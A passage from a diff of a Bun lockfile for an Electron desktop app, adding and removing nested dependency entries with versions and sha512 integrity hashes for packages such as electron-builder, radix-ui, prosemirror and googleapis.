"^8.0.0", "is-fullwidth-code-point": "^3.0.0", "strip-ansi": "^6.0.1" } }, "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g=="], - "xml2js/xmlbuilder": ["xmlbuilder@11.0.1", "", {}, "sha512-fDlsI/kFEx7gLvbecc0/ohLG50fugQp8ryHzMTuW9vSa1GJ0XYWKnhsUx7oie3G98+r56aTQIUB4kht42R3JvA=="], + "wrap-ansi-cjs/strip-ansi": ["strip-ansi@6.0.1", "", { "dependencies": { "ansi-regex": "^5.0.1" } }, "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A=="], - "@aws-crypto/util/@smithy/util-utf8/@smithy/util-buffer-from": ["@smithy/util-buffer-from@2.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^2.2.0", "tslib": "^2.6.2" } }, "sha512-IJdWBbTcMQ6DA0gdNhh/BwrLkDR+ADW5Kr1aZmd4k3DIF6ezMV4R2NIAmT08wQJ3yUK82thHWmC/TnK/wpMMIA=="], + "xml2js/xmlbuilder": ["xmlbuilder@11.0.1", "", {}, "sha512-fDlsI/kFEx7gLvbecc0/ohLG50fugQp8ryHzMTuW9vSa1GJ0XYWKnhsUx7oie3G98+r56aTQIUB4kht42R3JvA=="], "@develar/schema-utils/ajv/json-schema-traverse": ["json-schema-traverse@0.4.1", "", {}, "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg=="], "@electron/asar/minimatch/brace-expansion": ["brace-expansion@1.1.12", "", { "dependencies": { "balanced-match": "^1.0.0", "concat-map": "0.0.1" } }, "sha512-9T9UjW3r0UW5c1Q7GTwllptXwhvYmEzFhzMfZ9H7FQWt+uZePjZPjBP/W1ZEyZ1twGWom5/56TF4lPcqjnDHcg=="], - "@electron/get/fs-extra/jsonfile": ["jsonfile@4.0.0", "", { "optionalDependencies": { "graceful-fs": "^4.1.6" } }, "sha512-m6F1R3z8jjlf2imQHS2Qez5sjKWQzbuuhuJ/FKYFRZvPE3PuHcSMVZzfsLhGVOkfd20obL5SWEBew5ShlquNxg=="], + "@electron/fuses/chalk/supports-color": ["supports-color@7.2.0", "", { "dependencies": { "has-flag": "^4.0.0" } }, "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw=="], - "@electron/get/fs-extra/universalify": ["universalify@0.1.2", "", {}, "sha512-rBJeI5CXAlmy1pV+617WB9J63U6XcazHHF2f2dbJix4XzpUF0RS3Zbj0FGIOCAva5P/d/GBOYaACQ1w+0azUkg=="], + "@electron/universal/minimatch/brace-expansion": ["brace-expansion@2.0.2", "", { "dependencies": { "balanced-match": "^1.0.0" } }, "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ=="], "@esbuild-kit/core-utils/esbuild/@esbuild/android-arm": ["@esbuild/android-arm@0.18.20", "", { "os": "android", "cpu": "arm" }, "sha512-fyi7TDI/ijKKNZTUJAQqiG5T7YjJXgnzkURqmGj13C6dCqckZBLdl4h7bkhHt/t0WP+zO9/zwroDvANaOqO5Sw=="], @@ -2753,10 +2709,10 @@ "@isaacs/cliui/string-width/emoji-regex": ["emoji-regex@9.2.2", "", {}, "sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg=="], - "@isaacs/cliui/strip-ansi/ansi-regex": ["ansi-regex@6.2.2", "", {}, "sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg=="], - "@isaacs/cliui/wrap-ansi/ansi-styles": ["ansi-styles@6.2.3", "", {}, "sha512-4Dj6M28JB+oAH8kFkTLUo+a2jwOFkuqb3yucU0CANcRRUbxS0cP0nZYCGjcc3BNXwRIsUVmDGgzawme7zvJHvg=="], + "@radix-ui/react-avatar/@radix-ui/react-primitive/@radix-ui/react-slot": ["@radix-ui/react-slot@1.3.3", "", { "dependencies": { "@radix-ui/react-compose-refs": "1.1.5" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-qx7oqnYbxnK9kYI9m317qmFmEgo6ywqWvbTogdj7cL9p3/yx4M48p7Rnw5z3H890cL/ow/EeWJsuTykeZVXP5Q=="], + "@radix-ui/react-dismissable-layer/@radix-ui/react-primitive/@radix-ui/react-slot": ["@radix-ui/react-slot@1.2.3", "", { "dependencies": { "@radix-ui/react-compose-refs": "1.1.2" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-aeNmHnBxbi2St0au6VBVC7JXFlhLlOnvIIlePNniyUNAClzmtAUEY8/pBiK3iHjufOlwA+c20/8jngo7xcrg8A=="], "@radix-ui/react-focus-scope/@radix-ui/react-primitive/@radix-ui/react-slot": ["@radix-ui/react-slot@1.2.3", "", { "dependencies": { "@radix-ui/react-compose-refs": "1.1.2" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-aeNmHnBxbi2St0au6VBVC7JXFlhLlOnvIIlePNniyUNAClzmtAUEY8/pBiK3iHjufOlwA+c20/8jngo7xcrg8A=="], @@ -2765,61 +2721,101 @@ "@radix-ui/react-slider/@radix-ui/react-primitive/@radix-ui/react-slot": ["@radix-ui/react-slot@1.2.3", "", { "dependencies": { "@radix-ui/react-compose-refs": "1.1.2" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-aeNmHnBxbi2St0au6VBVC7JXFlhLlOnvIIlePNniyUNAClzmtAUEY8/pBiK3iHjufOlwA+c20/8jngo7xcrg8A=="], - "@slack/logger/@types/node/undici-types": ["undici-types@7.16.0", "", {}, "sha512-Zz+aZWSj8LE6zoxD+xrjh4VfkIG8Ya6LvYkZqtUQGJPZjYl53ypCaUwWqo7eI0x66KBGeRo+mlBEkMSeSZ38Nw=="], - - "@slack/web-api/@types/node/undici-types": ["undici-types@7.16.0", "", {}, "sha512-Zz+aZWSj8LE6zoxD+xrjh4VfkIG8Ya6LvYkZqtUQGJPZjYl53ypCaUwWqo7eI0x66KBGeRo+mlBEkMSeSZ38Nw=="], - - "@types/better-sqlite3/@types/node/undici-types": ["undici-types@7.16.0", "", {}, "sha512-Zz+aZWSj8LE6zoxD+xrjh4VfkIG8Ya6LvYkZqtUQGJPZjYl53ypCaUwWqo7eI0x66KBGeRo+mlBEkMSeSZ38Nw=="], - "@types/cacheable-request/@types/node/undici-types": ["undici-types@7.16.0", "", {}, "sha512-Zz+aZWSj8LE6zoxD+xrjh4VfkIG8Ya6LvYkZqtUQGJPZjYl53ypCaUwWqo7eI0x66KBGeRo+mlBEkMSeSZ38Nw=="], "@types/fs-extra/@types/node/undici-types": ["undici-types@7.16.0", "", {}, "sha512-Zz+aZWSj8LE6zoxD+xrjh4VfkIG8Ya6LvYkZqtUQGJPZjYl53ypCaUwWqo7eI0x66KBGeRo+mlBEkMSeSZ38Nw=="], "@types/keyv/@types/node/undici-types": ["undici-types@7.16.0", "", {}, "sha512-Zz+aZWSj8LE6zoxD+xrjh4VfkIG8Ya6LvYkZqtUQGJPZjYl53ypCaUwWqo7eI0x66KBGeRo+mlBEkMSeSZ38Nw=="], - "@types/pg/@types/node/undici-types": ["undici-types@7.16.0", "", {}, "sha512-Zz+aZWSj8LE6zoxD+xrjh4VfkIG8Ya6LvYkZqtUQGJPZjYl53ypCaUwWqo7eI0x66KBGeRo+mlBEkMSeSZ38Nw=="], - "@types/plist/@types/node/undici-types": ["undici-types@7.16.0", "", {}, "sha512-Zz+aZWSj8LE6zoxD+xrjh4VfkIG8Ya6LvYkZqtUQGJPZjYl53ypCaUwWqo7eI0x66KBGeRo+mlBEkMSeSZ38Nw=="], "@types/responselike/@types/node/undici-types": ["undici-types@7.16.0", "", {}, "sha512-Zz+aZWSj8LE6zoxD+xrjh4VfkIG8Ya6LvYkZqtUQGJPZjYl53ypCaUwWqo7eI0x66KBGeRo+mlBEkMSeSZ38Nw=="], - "@types/yauzl/@types/node/undici-types": ["undici-types@7.16.0", "", {}, "sha512-Zz+aZWSj8LE6zoxD+xrjh4VfkIG8Ya6LvYkZqtUQGJPZjYl53ypCaUwWqo7eI0x66KBGeRo+mlBEkMSeSZ38Nw=="], - "ajv-keywords/ajv/json-schema-traverse": ["json-schema-traverse@0.4.1", "", {}, "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg=="], "app-builder-lib/@electron/get/fs-extra": ["fs-extra@8.1.0", "", { "dependencies": { "graceful-fs": "^4.2.0", "jsonfile": "^4.0.0", "universalify": "^0.1.0" } }, "sha512-yhlQgA6mnOJUKOsRUFsgJdQCvkKhcz8tlZG5HBQfReYZy46OwLcY+Zia0mtdHsOo9y/hP+CxMN0TU9QxoOtG4g=="], "app-builder-lib/@electron/get/semver": ["semver@6.3.1", "", { "bin": { "semver": "bin/semver.js" } }, "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA=="], - "app-builder-lib/minimatch/brace-expansion": ["brace-expansion@5.0.4", "", { "dependencies": { "balanced-match": "^4.0.2" } }, "sha512-h+DEnpVvxmfVefa4jFbCf5HdH5YMDXRsmKflpf1pILZWRFlTbJpxeU55nJl4Smt5HQaGzg1o6RHFPJaOqnmBDg=="], + "app-builder-lib/which/isexe": ["isexe@3.1.5", "", {}, "sha512-6B3tLtFqtQS4ekarvLVMZ+X+VlvQekbe4taUkf/rhVO3d/h0M2rfARm/pXLcPEsjjMsFgrFgSrhQIxcSVrBz8w=="], + + "axios/https-proxy-agent/agent-base": ["agent-base@6.0.2", "", { "dependencies": { "debug": "4" } }, "sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ=="], "bl/readable-stream/string_decoder": ["string_decoder@1.3.0", "", { "dependencies": { "safe-buffer": "~5.2.0" } }, "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA=="], - "cli-truncate/string-width/strip-ansi": ["strip-ansi@7.2.0", "", { "dependencies": { "ansi-regex": "^6.2.2" } }, "sha512-yDPMNjp4WyfYBkHnjIRLfca1i6KMyGCtsVgoKe/z1+6vukgaENdgGBZt+ZmKPc4gavvEZ5OgHfHdrazhgNyG7w=="], + "body-parser/qs/side-channel": ["side-channel@1.1.1", "", { "dependencies": { "es-errors": "^1.3.0", "object-inspect": "^1.13.4", "side-channel-list": "^1.0.1", "side-channel-map": "^1.0.1", "side-channel-weakmap": "^1.0.2" } }, "sha512-6x6dK6zJdpTzF4sQeNYxwtvBzf6Eg4GtlesS94HOvTudUeyK2WXAaIfmDgsyslYrRBeFIlsi54AYsFGUuhmvrQ=="], + + "builder-util/chalk/supports-color": ["supports-color@7.2.0", "", { "dependencies": { "has-flag": "^4.0.0" } }, "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw=="], + + "cacache/glob/minimatch": ["minimatch@9.0.9", "", { "dependencies": { "brace-expansion": "^2.0.2" } }, "sha512-OBwBN9AL4dqmETlpS2zasx+vTeWclWzkblfZk7KTA5j3jeOONz/tRCnZomUyvNg83wL5Zv9Ss6HMJXAgL8R2Yg=="], + + "cli-truncate/string-width/emoji-regex": ["emoji-regex@8.0.0", "", {}, "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A=="], + + "cli-truncate/string-width/strip-ansi": ["strip-ansi@6.0.1", "", { "dependencies": { "ansi-regex": "^5.0.1" } }, "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A=="], "concat-stream/readable-stream/string_decoder": ["string_decoder@1.3.0", "", { "dependencies": { "safe-buffer": "~5.2.0" } }, "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA=="], + "concurrently/yargs/string-width": ["string-width@7.2.0", "", { "dependencies": { "emoji-regex": "^10.3.0", "get-east-asian-width": "^1.0.0", "strip-ansi": "^7.1.0" } }, "sha512-tsaTIkKW9b4N+AEj+SVA+WhJzV7/zMhcSu78mLKWSk7cXMOSHsBKFWUs0fWwq8QyK3MgJBQRX6Gbi4kYbdvGkQ=="], + "cross-spawn/which/isexe": ["isexe@2.0.0", "", {}, "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw=="], "dir-compare/minimatch/brace-expansion": ["brace-expansion@1.1.12", "", { "dependencies": { "balanced-match": "^1.0.0", "concat-map": "0.0.1" } }, "sha512-9T9UjW3r0UW5c1Q7GTwllptXwhvYmEzFhzMfZ9H7FQWt+uZePjZPjBP/W1ZEyZ1twGWom5/56TF4lPcqjnDHcg=="], "dmg-license/ajv/json-schema-traverse": ["json-schema-traverse@0.4.1", "", {}, "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg=="], + "electron-builder-squirrel-windows/app-builder-lib/@electron/get": ["@electron/get@3.1.0", "", { "dependencies": { "debug": "^4.1.1", "env-paths": "^2.2.0", "fs-extra": "^8.1.0", "got": "^11.8.5", "progress": "^2.0.3", "semver": "^6.2.0", "sumchecker": "^3.0.1" }, "optionalDependencies": { "global-agent": "^3.0.0" } }, "sha512-F+nKc0xW+kVbBRhFzaMgPy3KwmuNTYX1fx6+FxxoSnNgwYX6LD7AKBTWkU0MQ6IBoe7dz069CNkR673sPAgkCQ=="], + + "electron-builder-squirrel-windows/app-builder-lib/@electron/rebuild": ["@electron/rebuild@4.0.3", "", { "dependencies": { "@malept/cross-spawn-promise": "^2.0.0", "debug": "^4.1.1", "detect-libc": "^2.0.1", "got": "^11.7.0", "graceful-fs": "^4.2.11", "node-abi": "^4.2.0", "node-api-version": "^0.2.1", "node-gyp": "^11.2.0", "ora": "^5.1.0", "read-binary-file-arch": "^1.0.6", "semver": "^7.3.5", "tar": "^7.5.6", "yargs": "^17.0.1" }, "bin": { "electron-rebuild": "lib/cli.js" } }, "sha512-u9vpTHRMkOYCs/1FLiSVAFZ7FbjsXK+bQuzviJZa+lG7BHZl1nz52/IcGvwa3sk80/fc3llutBkbCq10Vh8WQA=="], + + "electron-builder-squirrel-windows/app-builder-lib/builder-util-runtime": ["builder-util-runtime@9.5.1", "", { "dependencies": { "debug": "^4.3.4", "sax": "^1.2.4" } }, "sha512-qt41tMfgHTllhResqM5DcnHyDIWNgzHvuY2jDcYP9iaGpkWxTUzV6GQjDeLnlR1/DtdlcsWQbA7sByMpmJFTLQ=="], + + "electron-builder-squirrel-windows/app-builder-lib/ci-info": ["ci-info@4.3.1", "", {}, "sha512-Wdy2Igu8OcBpI2pZePZ5oWjPC38tmDVx5WKUXKwlLYkA0ozo85sLsLvkBbBn/sZaSCMFOGZJ14fvW9t5/d7kdA=="], + + "electron-builder-squirrel-windows/app-builder-lib/dmg-builder": ["dmg-builder@26.8.1", "", { "dependencies": { "app-builder-lib": "26.8.1", "builder-util": "26.8.1", "fs-extra": "^10.1.0", "iconv-lite": "^0.6.2", "js-yaml": "^4.1.0" }, "optionalDependencies": { "dmg-license": "^1.0.11" } }, "sha512-glMJgnTreo8CFINujtAhCgN96QAqApDMZ8Vl1r8f0QT8QprvC1UCltV4CcWj20YoIyLZx6IUskaJZ0NV8fokcg=="], + + "electron-builder-squirrel-windows/app-builder-lib/electron-publish": ["electron-publish@26.8.1", "", { "dependencies": { "@types/fs-extra": "^9.0.11", "builder-util": "26.8.1", "builder-util-runtime": "9.5.1", "chalk": "^4.1.2", "form-data": "^4.0.5", "fs-extra": "^10.1.0", "lazy-val": "^1.0.5", "mime": "^2.5.2" } }, "sha512-q+jrSTIh/Cv4eGZa7oVR+grEJo/FoLMYBAnSL5GCtqwUpr1T+VgKB/dn1pnzxIxqD8S/jP1yilT9VrwCqINR4w=="], + + "electron-builder-squirrel-windows/app-builder-lib/jiti": ["jiti@2.6.1", "", { "bin": { "jiti": "lib/jiti-cli.mjs" } }, "sha512-ekilCSN1jwRvIbgeg/57YFh8qQDNbwDb9xT/qu2DAHbFFZUicIl4ygVaAvzveMhMVr3LnpSKTNnwt8PoOfmKhQ=="], + + "electron-builder-squirrel-windows/app-builder-lib/minimatch": ["minimatch@10.2.4", "", { "dependencies": { "brace-expansion": "^5.0.2" } }, "sha512-oRjTw/97aTBN0RHbYCdtF1MQfvusSIBQM0IZEgzl6426+8jSC0nF1a/GmnVLpfB9yyr6g6FTqWqiZVbxrtaCIg=="], + + "electron-builder-squirrel-windows/app-builder-lib/semver": ["semver@7.7.4", "", { "bin": { "semver": "bin/semver.js" } }, "sha512-vFKC2IEtQnVhpT78h1Yp8wzwrf8CM+MzKMHGJZfBtzhZNycRFnXsHk6E5TxIkkMsgNS7mdX3AGB7x2QM2di4lA=="], + + "electron-builder-squirrel-windows/app-builder-lib/which": ["which@5.0.0", "", { "dependencies": { "isexe": "^3.1.1" }, "bin": { "node-which": "bin/which.js" } }, "sha512-JEdGzHwwkrbWoGOlIHqQ5gtprKGOenpDHpxE9zVR1bWbOtYRyPPHMe9FaP6x61CmNaTThSkb0DAJte5jD+DmzQ=="], + + "electron-builder-squirrel-windows/builder-util/builder-util-runtime": ["builder-util-runtime@9.5.1", "", { "dependencies": { "debug": "^4.3.4", "sax": "^1.2.4" } }, "sha512-qt41tMfgHTllhResqM5DcnHyDIWNgzHvuY2jDcYP9iaGpkWxTUzV6GQjDeLnlR1/DtdlcsWQbA7sByMpmJFTLQ=="], + + "electron-builder-squirrel-windows/builder-util/chalk": ["chalk@4.1.2", "", { "dependencies": { "ansi-styles": "^4.1.0", "supports-color": "^7.1.0" } }, "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA=="], + + "electron-builder/chalk/supports-color": ["supports-color@7.2.0", "", { "dependencies": { "has-flag": "^4.0.0" } }, "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw=="], + + "electron-builder/yargs/cliui": ["cliui@8.0.1", "", { "dependencies": { "string-width": "^4.2.0", "strip-ansi": "^6.0.1", "wrap-ansi": "^7.0.0" } }, "sha512-BSeNnyus75C4//NQ9gQt1/csTXyo/8Sb+afLAkzAptFuMsod9HFokGNudZpi/oQV73hnVK+sR+5PVRMd+Dr7YQ=="], + + "electron-builder/yargs/string-width": ["string-width@4.2.3", "", { "dependencies": { "emoji-regex": "^8.0.0", "is-fullwidth-code-point": "^3.0.0", "strip-ansi": "^6.0.1" } }, "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g=="], + + "electron-builder/yargs/yargs-parser": ["yargs-parser@21.1.1", "", {}, "sha512-tVpsJW7DdjecAiFpbIB1e3qxIQsE6NoPc5/eTdrbbIC4h0LVsWhnoa3g+m2HclBIujHzsxZ4VJVA+GUuc2/LBw=="], + + "electron-publish/chalk/supports-color": ["supports-color@7.2.0", "", { "dependencies": { "has-flag": "^4.0.0" } }, "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw=="], + "electron-winstaller/fs-extra/jsonfile": ["jsonfile@4.0.0", "", { "optionalDependencies": { "graceful-fs": "^4.1.6" } }, "sha512-m6F1R3z8jjlf2imQHS2Qez5sjKWQzbuuhuJ/FKYFRZvPE3PuHcSMVZzfsLhGVOkfd20obL5SWEBew5ShlquNxg=="], "electron-winstaller/fs-extra/universalify": ["universalify@0.1.2", "", {}, "sha512-rBJeI5CXAlmy1pV+617WB9J63U6XcazHHF2f2dbJix4XzpUF0RS3Zbj0FGIOCAva5P/d/GBOYaACQ1w+0azUkg=="], - "electron/@types/node/undici-types": ["undici-types@7.16.0", "", {}, "sha512-Zz+aZWSj8LE6zoxD+xrjh4VfkIG8Ya6LvYkZqtUQGJPZjYl53ypCaUwWqo7eI0x66KBGeRo+mlBEkMSeSZ38Nw=="], + "filelist/minimatch/brace-expansion": ["brace-expansion@2.0.2", "", { "dependencies": { "balanced-match": "^1.0.0" } }, "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ=="], + + "form-data/mime-types/mime-db": ["mime-db@1.52.0", "", {}, "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg=="], + + "gcp-metadata/gaxios/node-fetch": ["node-fetch@3.3.2", "", { "dependencies": { "data-uri-to-buffer": "^4.0.0", "fetch-blob": "^3.1.4", "formdata-polyfill": "^4.0.10" } }, "sha512-dRB78srN/l6gqWulah9SrxeYnxeddIG30+GOqK/9OlLVyLg3HPnr6SqOWTWOXKRwC2eGYCkZ59NNuSgvSrpgOA=="], "glob/minimatch/brace-expansion": ["brace-expansion@1.1.12", "", { "dependencies": { "balanced-match": "^1.0.0", "concat-map": "0.0.1" } }, "sha512-9T9UjW3r0UW5c1Q7GTwllptXwhvYmEzFhzMfZ9H7FQWt+uZePjZPjBP/W1ZEyZ1twGWom5/56TF4lPcqjnDHcg=="], - "iconv-corefoundation/cli-truncate/slice-ansi": ["slice-ansi@3.0.0", "", { "dependencies": { "ansi-styles": "^4.0.0", "astral-regex": "^2.0.0", "is-fullwidth-code-point": "^3.0.0" } }, "sha512-pSyv7bSTC7ig9Dcgbw9AuRNUb5k5V6oDudjZoMBSr13qpLBG7tB+zgCkARjq7xIUgdz5P1Qe8u+rSGdouOOIyQ=="], + "googleapis-common/google-auth-library/gcp-metadata": ["gcp-metadata@9.0.4", "", { "dependencies": { "gaxios": "^7.1.3", "google-logging-utils": "^2.0.0", "json-bigint": "^1.0.0" } }, "sha512-p6WvbXOhfwnVtv/MyPq5kBiVhfV/qglMIxwwTVNEI1Ha1HmOgz5uHYHtYO6SfGckFaXe8blA11IJJ3wqXmvmBA=="], - "log-update/slice-ansi/ansi-styles": ["ansi-styles@6.2.3", "", {}, "sha512-4Dj6M28JB+oAH8kFkTLUo+a2jwOFkuqb3yucU0CANcRRUbxS0cP0nZYCGjcc3BNXwRIsUVmDGgzawme7zvJHvg=="], + "googleapis/google-auth-library/gcp-metadata": ["gcp-metadata@9.0.4", "", { "dependencies": { "gaxios": "^7.1.3", "google-logging-utils": "^2.0.0", "json-bigint": "^1.0.0" } }, "sha512-p6WvbXOhfwnVtv/MyPq5kBiVhfV/qglMIxwwTVNEI1Ha1HmOgz5uHYHtYO6SfGckFaXe8blA11IJJ3wqXmvmBA=="], - "log-update/slice-ansi/is-fullwidth-code-point": ["is-fullwidth-code-point@5.1.0", "", { "dependencies": { "get-east-asian-width": "^1.3.1" } }, "sha512-5XHYaSyiqADb4RnZ1Bdad6cPp8Toise4TzEjcOYDHZkTCbKgiUl7WTUCpNWHuxmDt91wnsZBc9xinNzopv3JMQ=="], + "googleapis/google-auth-library/google-logging-utils": ["google-logging-utils@2.0.1", "", {}, "sha512-HMhaQghlOTvbcb3c4T5jmmOMtG3JUF1iOQMezaJXL86CDS+Tm2vHd0IeLFRAx3+ewd+bo9E1HFHoy17X5aJa9A=="], - "log-update/strip-ansi/ansi-regex": ["ansi-regex@6.2.2", "", {}, "sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg=="], + "log-symbols/chalk/supports-color": ["supports-color@7.2.0", "", { "dependencies": { "has-flag": "^4.0.0" } }, "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw=="], "minipass-flush/minipass/yallist": ["yallist@4.0.0", "", {}, "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A=="], @@ -2831,24 +2827,180 @@ "node-fetch/whatwg-url/webidl-conversions": ["webidl-conversions@3.0.1", "", {}, "sha512-2JAn3z8AR6rjK8Sm8orRC0h/bcl/DqL7tRPdGZ4I1CjdF+EaMLmYxBHyXuKL849eucPFhvBoxMsflfOb8kxaeQ=="], - "ora/cli-cursor/restore-cursor": ["restore-cursor@3.1.0", "", { "dependencies": { "onetime": "^5.1.0", "signal-exit": "^3.0.2" } }, "sha512-l+sSefzHpj5qimhFSE5a8nufZYAM3sBSVMAPtYkmC+4EH2anSGaEMXSD0izRQbu9nfyQ9y5JrVmp7E8oZrUjvA=="], + "ora/chalk/supports-color": ["supports-color@7.2.0", "", { "dependencies": { "has-flag": "^4.0.0" } }, "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw=="], + + "ora/strip-ansi/ansi-regex": ["ansi-regex@5.0.1", "", {}, "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ=="], + + "prosemirror-dropcursor/prosemirror-transform/prosemirror-model": ["prosemirror-model@1.25.4", "", { "dependencies": { "orderedmap": "^2.0.0" } }, "sha512-PIM7E43PBxKce8OQeezAs9j4TP+5yDpZVbuurd1h5phUxEKIu+G2a+EUZzIC5nS1mJktDJWzbqS23n1tsAf5QA=="], + + "prosemirror-dropcursor/prosemirror-view/prosemirror-model": ["prosemirror-model@1.25.4", "", { "dependencies": { "orderedmap": "^2.0.0" } }, "sha512-PIM7E43PBxKce8OQeezAs9j4TP+5yDpZVbuurd1h5phUxEKIu+G2a+EUZzIC5nS1mJktDJWzbqS23n1tsAf5QA=="], + + "prosemirror-history/prosemirror-transform/prosemirror-model": ["prosemirror-model@1.25.4", "", { "dependencies": { "orderedmap": "^2.0.0" } }, "sha512-PIM7E43PBxKce8OQeezAs9j4TP+5yDpZVbuurd1h5phUxEKIu+G2a+EUZzIC5nS1mJktDJWzbqS23n1tsAf5QA=="], + + "prosemirror-history/prosemirror-view/prosemirror-model": ["prosemirror-model@1.25.4", "", { "dependencies": { "orderedmap": "^2.0.0" } }, "sha512-PIM7E43PBxKce8OQeezAs9j4TP+5yDpZVbuurd1h5phUxEKIu+G2a+EUZzIC5nS1mJktDJWzbqS23n1tsAf5QA=="], + + "prosemirror-inputrules/prosemirror-transform/prosemirror-model": ["prosemirror-model@1.25.4", "", { "dependencies": { "orderedmap": "^2.0.0" } }, "sha512-PIM7E43PBxKce8OQeezAs9j4TP+5yDpZVbuurd1h5phUxEKIu+G2a+EUZzIC5nS1mJktDJWzbqS23n1tsAf5QA=="], + + "rimraf/glob/minimatch": ["minimatch@9.0.9", "", { "dependencies": { "brace-expansion": "^2.0.2" } }, "sha512-OBwBN9AL4dqmETlpS2zasx+vTeWclWzkblfZk7KTA5j3jeOONz/tRCnZomUyvNg83wL5Zv9Ss6HMJXAgL8R2Yg=="], + + "sileo/motion/framer-motion": ["framer-motion@12.35.0", "", { "dependencies": { "motion-dom": "^12.35.0", "motion-utils": "^12.29.2", "tslib": "^2.4.0" }, "peerDependencies": { "@emotion/is-prop-valid": "*", "react": "^18.0.0 || ^19.0.0", "react-dom": "^18.0.0 || ^19.0.0" }, "optionalPeers": ["@emotion/is-prop-valid", "react", "react-dom"] }, "sha512-w8hghCMQ4oq10j6aZh3U2yeEQv5K69O/seDI/41PK4HtgkLrcBovUNc0ayBC3UyyU7V1mrY2yLzvYdWJX9pGZQ=="], + + "string-width-cjs/strip-ansi/ansi-regex": ["ansi-regex@5.0.1", "", {}, 